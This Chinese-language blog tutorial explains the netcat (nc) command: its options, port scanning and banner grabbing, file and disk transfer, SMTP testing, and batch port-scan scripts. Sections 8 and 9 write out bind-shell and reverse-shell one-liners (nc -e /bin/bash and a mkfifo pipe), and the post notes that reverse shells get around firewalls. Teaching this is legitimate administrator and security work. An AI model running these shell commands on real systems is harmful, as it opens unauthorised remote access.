Linux命令--nc (測試伺服器埠是否開啟)

lhrbest發表於2019-05-13

Linux命令--nc (測試伺服器埠是否開啟)


##引數

想要連線到某處:  nc [-options] hostname port[s] [ports] …
繫結埠等待連線:  nc -l port [-options] [hostname] [port]

  • -g<閘道器>:設定路由器躍程通訊閘道器,最多設定8個;
  • -G<指向器數目>:設定來源路由指向器,其數值為4的倍數;
  • -h:線上幫助;
  • -i<延遲秒數>:設定時間間隔,以便傳送資訊及掃描通訊埠;
  • -l:使用監聽模式,監控傳入的資料;
  • -n:直接使用ip地址,而不透過域名伺服器;
  • -o<輸出檔案>:指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存;
  • -p<通訊埠>:設定本地主機使用的通訊埠;
  • -r:指定源埠和目的埠都進行隨機的選擇;
  • -s<來源位址>:設定本地主機送出資料包的IP地址;
  • -u:使用UDP傳輸協議;
  • -v:顯示指令執行過程;
  • -w<超時秒數>:設定等待連線的時間;
  • -z:使用0輸入/輸出模式,只在掃描通訊埠時使用。

 

##用法

[A Server(192.168.1.1) B Client(192.168.1.2)]

####0.

連線到遠端主機:
$nc -nvv 192.168.x.x 80

連到192.168.x.x的TCP80埠.

監聽本地主機:
$nc -l 80

監聽本機的TCP80埠.

超時控制:

多數情況我們不希望連線一直保持,那麼我們可以使用 -w 引數來指定連線的空閒超時時間,該引數緊接一個數值,代表秒數,如果連線超過指定時間則連線會被終止。

Server
$nc -l 2389
Client
$ nc -w 10 localhost 2389

該連線將在 10 秒後中斷。
注意: 不要在伺服器端同時使用 -w 和 -l 引數,因為 -w 引數將在伺服器端無效果。

####1.埠掃描

埠掃描經常被系統管理員和駭客用來發現在一些機器上開放的埠,幫助他們識別系統中的漏洞。

$nc -z -v -n 192.168.1.1 21-25

可以執行在TCP或者UDP模式,預設是TCP,-u引數調整為udp.
z 引數告訴netcat使用0 IO,連線成功後立即關閉連線, 不進行資料交換.
v 引數指詳細輸出.
n 引數告訴netcat 不要使用DNS反向查詢IP地址的域名.
以上命令會列印21到25 所有開放的埠。

$nc -v 127.0.0.1 22localhost [127.0.0.1] 22 (ssh) openSSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4

"SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"為Banner資訊。Banner是一個文字,Banner是一個你連線的服務傳送給你的文字資訊。當你試圖鑑別漏洞或者服務的型別和版本的時候,Banner資訊是非常有用的。但是,並不是所有的服務都會傳送banner.一旦你發現開放的埠,你可以容易的使用netcat 連線服務抓取他們的banner。

####2.Chat Server

假如你想和你的朋友聊聊,有很多的軟體和資訊服務可以供你使用。但是,如果你沒有這麼奢侈的配置,比如你在計算機實驗室,所有的對外的連線都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要鬱悶了,netcat提供了這樣一種方法,你只需要建立一個Chat伺服器,一個預先確定好的埠,這樣子他就可以聯絡到你了。

Server
$nc -l 20000

netcat 命令在20000埠啟動了一個tcp 伺服器,所有的標準輸出和輸入會輸出到該埠。輸出和輸入都在此shell中展示。

Client
$nc 192.168.1.1 20000

不管你在機器B上鍵入什麼都會出現在機器A上。

####3.檔案傳輸

大部分時間中,我們都在試圖透過網路或者其他工具傳輸檔案。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸檔案,真的值得浪費時間來安裝配置一個軟體到你的機器上嘛。假設,你想要傳一個檔案file.txt 從A 到B。A或者B都可以作為伺服器或者客戶端.

Server
$nc -l 20000 < file.txt
Client
$nc -n 192.168.1.1 20000 > file.txt

這裡我們建立了一個伺服器在A上並且重定向netcat的輸入為檔案file.txt,那麼當任何成功連線到該埠,netcat會傳送file的檔案內容。
在客戶端我們重定向輸出到file.txt,當B連線到A,A傳送檔案內容,B儲存檔案內容到file.txt.
沒有必要建立檔案源作為Server,我們也可以相反的方法使用。像下面的我們傳送檔案從B到A,但是伺服器建立在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入檔案。
B作為Server

Server
$nc -l 20000 > file.txt
Client
$nc 192.168.1.2 20000 < file.txt

 

####4.目錄傳輸

傳送一個檔案很簡單,但是如果我們想要傳送多個檔案,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮後傳送壓縮包。
如果你想要透過網路傳輸一個目錄從A到B。

Server
$tar -cvf – dir_name | nc -l 20000
Client
$nc -n 192.168.1.1 20000 | tar -xvf -

這裡在A伺服器上,我們建立一個tar歸檔包並且透過-在控制檯重定向它,然後使用管道,重定向給netcat,netcat可以透過網路傳送它。
在客戶端我們下載該壓縮包透過netcat 管道然後開啟檔案。
如果想要節省頻寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。

Server
$tar -cvf – dir_name| bzip2 -z | nc -l 20000

透過bzip2壓縮

Client
$nc -n 192.168.1.1 20000 | bzip2 -d |tar -xvf -

 

####5. 加密你透過網路傳送的資料

如果你擔心你在網路上傳送資料的安全,你可以在傳送你的資料之前用如mcrypt的工具加密。

Server
$nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密資料。

Client
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000

使用mcrypt工具解密資料。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。
這裡我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

####6.流影片

雖然不是生成流影片的最好方法,但如果伺服器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。

Server
$cat video.avi | nc -l 20000

這裡我們只是從一個影片檔案中讀入並重定向輸出到netcat客戶端

Client
$nc 192.168.1.1 20000 | mplayer -vo x11 -cache 3000 -

這裡我們從socket中讀入資料並重定向到mplayer。

####7,克隆一個裝置

如果你已經安裝配置一臺Linux機器並且需要重複同樣的操作對其他的機器,而你不想在重複配置一遍。不在需要重複配置安裝的過程,只啟動另一臺機器的一些引導可以隨身碟和克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁碟/dev/sda上

Server
$dd if=/dev/sda | nc -l 20000
Client
$nc -n 192.168.1.1 20000 | dd of=/dev/sda

dd是一個從磁碟讀取原始資料的工具,我透過netcat伺服器重定向它的輸出流到其他機器並且寫入到磁碟中,它會隨著分割槽表複製所有的資訊。但是如果我們已經做過分割槽並且只需要克隆root分割槽,我們可以根據我們系統root分割槽的位置,更改sda 為sda1,sda2.等等。

####8.開啟一個shell

我們已經用過遠端shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有許可權安裝他們,我們也可以使用netcat建立遠端shell。
假設你的netcat支援 -c -e 引數(原生 netcat)

Server
$nc -l 20000 -e /bin/bash -i
Client
$nc 192.168.1.1 20000

這裡我們已經建立了一個netcat伺服器並且表示當它連線成功時執行/bin/bash
假如netcat 不支援-c 或者 -e 引數(openbsd netcat),我們仍然能夠建立遠端shell

Server
$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo

這裡我們建立了一個fifo檔案,然後使用管道命令把這個fifo檔案內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然後管道到netcat 執行的埠20000上。至此,我們已經把netcat的輸出重定向到fifo檔案中。
說明:
從網路收到的輸入寫到fifo檔案中
cat 命令讀取fifo檔案並且其內容傳送給sh命令
sh命令程式受到輸入並把它寫回到netcat。
netcat 透過網路傳送輸出到client
至於為什麼會成功是因為管道使命令平行執行,fifo檔案用來替代正常檔案,因為fifo使讀取等待而如果是一個普通檔案,cat命令會盡快結束並開始讀取空檔案。
在客戶端僅僅簡單連線到伺服器

Client
$nc -n 192.168.1.1 20000

你會得到一個shell提示符在客戶端

####9.反向shell

反向shell是指在客戶端開啟的shell。反向shell這樣命名是因為不同於其他配置,這裡伺服器使用的是由客戶提供的服務。

Server
$nc -l 20000

在客戶端,簡單地告訴netcat在連線完成後,執行shell。

Client
$nc 192.168.1.1 20000 -e /bin/bash

現在,什麼是反向shell的特別之處呢
反向shell經常被用來繞過防火牆的限制,如阻止入站連線。例如,我有一個專用IP地址為192.168.1.1,我使用代理伺服器連線到外部網路。如果我想從網路外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。

####10.指定源埠

假設你的防火牆過濾除25埠外其它所有埠,你需要使用-p選項指定源埠。

Server
$nc -l 20000
Client
$nc 192.168.1.1 20000 25

使用1024以內的埠需要root許可權。
該命令將在客戶端開啟25埠用於通訊,否則將使用隨機埠。

####11.指定源地址

假設你的機器有多個地址,希望明確指定使用哪個地址用於外部資料通訊。我們可以在netcat中使用-s選項指定ip地址。

Server
$nc -u -l 20000 < file.txt
Client
$nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt

該命令將繫結地址172.31.100.5。

####12.靜態web頁面伺服器

新建一個網頁,命名為somepage.html;
新建一個shell script:

while true; do
    nc -l 80 -q 1 < somepage.html;done

用root許可權執行,然後在瀏覽器中輸入127.0.0.1開啟看看是否正確執行。
nc 指令通常都是給管理者進行除錯或測試等動作用的,所以如果只是單純需要臨時的網頁伺服器,使用 Python 的 SimpleHTTPServer 模組會比較方便。

####13.模擬HTTP Headers

$nc 
User-Agent: my-browser
HTTP/1.1 200 OKDate: Tue, 16 Dec 2008 07:23:24 GMTServer: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/Expires: 0Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]

在nc命令後,輸入紅色部分的內容,然後按兩次回車,即可從對方獲得HTTP Headers內容。

####13.Netcat支援IPv6

netcat 的 -4 和 -6 引數用來指定 IP 地址型別,分別是 IPv4 和 IPv6:

Server
$ nc -4 -l 2389
Client
$ nc -4 localhost 2389

然後我們可以使用 netstat 命令來檢視網路的情況:

$ netstat | grep 2389tcp        0      0 localhost:2389          localhost:50851         ESTABLISHED
tcp        0      0 localhost:50851         localhost:2389          ESTABLISHED

接下來我們看看IPv6 的情況:

Server
$ nc -6 -l 2389
Client
$ nc -6 localhost 2389

再次執行 netstat 命令:

$ netstat | grep 2389tcp6       0      0 localhost:2389          localhost:33234         ESTABLISHED
tcp6       0      0 localhost:33234         localhost:2389          ESTABLISHED

字首是 tcp6 表示使用的是 IPv6 的地址。

####14.在 Netcat 中禁止從標準輸入中讀取資料

該功能使用 -d 引數,請看下面例子:

Server
$ nc -l 2389
Client
$ nc -d localhost 2389
Hi

你輸入的 Hi 文字並不會送到伺服器端。

####15.強制 Netcat 伺服器端保持啟動狀態

如果連線到伺服器的客戶端斷開連線,那麼伺服器端也會跟著退出。

Server
$ nc -l 2389
Client
$ nc localhost 2389^C
Server
$ nc -l 2389
$

上述例子中,但客戶端斷開時伺服器端也立即退出。
我們可以透過 -k 引數來控制讓伺服器不會因為客戶端的斷開連線而退出。

Server
$ nc -k -l 2389
Client
$ nc localhost 2389^C
Server
$ nc -k -l 2389

 

####16.配置 Netcat 客戶端不會因為 EOF 而退出

Netcat 客戶端可以透過 -q 引數來控制接收到 EOF 後隔多長時間才退出,該引數的單位是秒:

Client
$nc  -q 5  localhost 2389

現在如果客戶端接收到 EOF ,它將等待 5 秒後退出。

####17.手動使用 SMTP 協定寄信

在測試郵件伺服器是否正常時,可以使用這樣的方式手動寄送 Email:

$nc localhost 25 << EOF
HELO host.example.com
MAIL FROM: <user@host.example.com>
RCPT TO: <user2@host.example.com>
DATA
Body of email.
.
QUIT
EOF

 

####18.透過代理伺服器(Proxy)連線

這指令會使用 10.2.3.4:8080 這個代理伺服器,連線至 host.example.com 的42埠。

$nc -x10.2.3.4:8080 -Xconnect host.example.com 42

 

####19.使用 Unix Domain Socket

這行指令會建立一個 Unix Domain Socket,並接收資料:

$nc -lU /var/tmp/dsocket
如何使用 Shell 指令碼來檢視多個伺服器的埠是否開啟?
我們在進行伺服器配置的時候,經常要檢視伺服器的某個埠是否已經開放。如果伺服器只有一兩臺的話,那很好辦,只需要使用 nc 命令一個個檢視即可。
但是,如果你的伺服器是個叢集,有很多臺呢?那如果還一個個手動去檢查的話,效率肯定是無比低下的,年底裁員名單裡肯定有你。
在這種情況下,我們完全可以使用 Shell 指令碼配合 nc 命令來達到我們的目的。而且,不管伺服器有幾臺,需要檢查的埠有幾個,都可以實現這樣的目標。
在本文裡,我們用 Shell 指令碼來實現兩個需求:
掃描多臺伺服器的一個埠是否開啟
掃描多臺伺服器的多個埠是否開啟
在開始之前,我們先來了解一下 nc 命令。
nc 命令簡介
nc 是英文單詞 netcat 的縮寫,它是透過使用 TCP 或 UDP 的網路協議的連線來讀或寫資料,可以直接被第三方程式或指令碼直接呼叫。
同時,它是一款功能非常強大的網路除錯工具,因為它可以建立幾乎所有你所需要的連線方式。
nc 工具主要有三種功能模式:連線模式、監聽模式、通道模式。它的一般使用格式如下:
$ nc [-options] [HostName or IP] [PortNumber]
接下來,我們就用 Shell 指令碼結合 nc 命令來實現我們的兩個需求。
1. 掃描多臺伺服器的一個埠是否開啟
在這裡,我們先把需要查詢的所有伺服器地址全部放在一個 server-list.txt 檔案裡,每個地址單獨一行,如下:
# cat server-list.txt
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
然後,我們再用 for 迴圈依次掃描 server-list.txt 裡對應伺服器的埠是否開啟。在這裡,我們掃描 22 埠是否開啟。
# vi port_scan.sh
#!/bin/sh
for server in `more server-list.txt`
do
#echo $i
nc -zvw3 $server 22
done
最後,我們給這個指令碼賦予可執行許可權即可。
$ chmod +x port_scan.sh
之後,我們就可以用這個指令碼來自動依次檢查多個伺服器的 22 埠是否已開啟。
# sh port_scan.sh
Connection to 192.168.1.2 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.3 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.5 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.6 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.7 22 port [tcp/ssh] succeeded!
2. 掃描多臺伺服器的多個埠是否開啟
在這裡,我們同樣把需要查詢的所有伺服器地址全部放在一個 server-list.txt 檔案裡,每個地址單獨一行。這裡就不重複演示了。
與此同時,我們也把需要查詢的伺服器埠放在另一個 port-list.txt 檔案裡,每個埠單獨一行,如下所示:
# cat port-list.txt
22
80
然後,我們再用 for 迴圈依次掃描 server-list.txt 裡對應伺服器 port-list.txt 所列的埠是否開啟。注意,這裡用到了兩個 for 迴圈,第一層是伺服器列表,第二層是埠列表。
# vi multiple_port_scan.sh
#!/bin/sh
for server in `more server-list.txt`
do
for port in `more port-list.txt`
do
#echo $server
nc -zvw3 $server $port
echo ""
done
done
最後,我們給這個指令碼賦予可執行許可權即可。
$ chmod +x multiple_port_scan.sh
之後,我們就可以用這個指令碼來自動依次檢查多個伺服器的多個埠是否已開啟。
# sh multiple_port_scan.sh
Connection to 192.168.1.2 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.2 80 port [tcp/http] succeeded!
Connection to 192.168.1.3 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.3 80 port [tcp/http] succeeded!
Connection to 192.168.1.4 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.4 80 port [tcp/http] succeeded!
Connection to 192.168.1.5 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.5 80 port [tcp/http] succeeded!
Connection to 192.168.1.6 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.6 80 port [tcp/http] succeeded!
Connection to 192.168.1.7 22 port [tcp/ssh] succeeded!
Connection to 192.168.1.7 80 port [tcp/http] succeeded!




About Me

........................................................................................................................

● 本文作者:小麥苗,部分內容整理自網路,若有侵權請聯絡小麥苗刪除

● 本文在itpub( http://blog.itpub.net/26736162 )、部落格園( http://www.cnblogs.com/lhrbest )和個人weixin公眾號( xiaomaimiaolhr )上有同步更新

● 本文itpub地址: http://blog.itpub.net/26736162

● 本文部落格園地址: http://www.cnblogs.com/lhrbest

● 本文pdf版、個人簡介及小麥苗雲盤地址: http://blog.itpub.net/26736162/viewspace-1624453/

● 資料庫筆試面試題庫及解答: http://blog.itpub.net/26736162/viewspace-2134706/

● DBA寶典今日頭條號地址:

........................................................................................................................

● QQ群號: 230161599 (滿) 、618766405

● weixin群:可加我weixin,我拉大家進群,非誠勿擾

● 聯絡我請加QQ好友 646634621 ,註明新增緣由

● 於 2019-05-01 06:00 ~ 2019-05-30 24:00 在魔都完成

● 最新修改時間:2019-05-01 06:00 ~ 2019-05-30 24:00

● 文章內容來源於小麥苗的學習筆記,部分整理自網路,若有侵權或不當之處還請諒解

● 版權所有,歡迎分享本文,轉載請保留出處

........................................................................................................................

小麥苗的微店

小麥苗出版的資料庫類叢書 http://blog.itpub.net/26736162/viewspace-2142121/

小麥苗OCP、OCM、高可用網路班 http://blog.itpub.net/26736162/viewspace-2148098/

小麥苗騰訊課堂主頁 https://lhr.ke.qq.com/

........................................................................................................................

使用 weixin客戶端 掃描下面的二維碼來關注小麥苗的weixin公眾號( xiaomaimiaolhr )及QQ群(DBA寶典)、新增小麥苗weixin, 學習最實用的資料庫技術。

........................................................................................................................

歡迎與我聯絡

 

 



來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/26736162/viewspace-2644141/,如需轉載,請註明出處,否則將追究法律責任。

相關文章